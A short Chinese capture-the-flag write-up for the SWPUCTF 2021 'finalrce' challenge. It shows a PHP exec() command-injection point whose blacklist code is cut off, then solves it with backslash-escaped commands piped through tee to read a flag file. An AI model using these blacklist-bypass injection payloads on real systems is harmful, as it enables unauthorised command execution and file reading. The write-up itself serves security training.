# [SWPUCTF 2021 新生赛]finalrce # [SWPUCTF 2021 新生赛]finalrce ```php |\<|\%|\$/i',$url)) { echo "Sorry, you can't use this."; } else { echo "Can you see anything?"; exec($url); } } ?> ``` exec() 在执行系统命令后,通常不会返回命令的输出结果 (回显) 到调用的 PHP 脚本 使用 tee 命令将命令的输出写入到某个文件,再去访问这个文件就能看到命令的执行结果 > 以下是一些 `tee` 命令的例子: > > 1. 将命令的输出写入文件: > > ``` > command | tee output.txt > ``` > > 将 `command` 命令的输出同时显示在终端并写入 `output.txt` 文件 > > 2. 使用 `-a` 选项追加到文件: > > ``` > command | tee -a output.txt > ``` > > 将 `command` 命令的输出追加到 `output.txt` 文件的末尾 > > 3. 将输出同时写入多个文件: > > ``` > command | tee file1.txt file2.txt > ``` > > 将 `command` 命令的输出同时写入 `file1.txt` 和 `file2.txt` 使用转义字符`\`绕过黑名单 `l\s ../../.. | tee output.txt ` ![[SWPUCTF 2021 新生赛]finalrce-1](https://pic.imgdb.cn/item/65505620c458853aefae9be6.jpg) ![[SWPUCTF 2021 新生赛]finalrce-2](https://pic.imgdb.cn/item/65505642c458853aefaf01c7.jpg) `c\at ../../../flllll\aaaaaaggggggg | tee output.txt` ![[SWPUCTF 2021 新生赛]finalrce-3](https://pic.imgdb.cn/item/65505686c458853aefafd43e.jpg)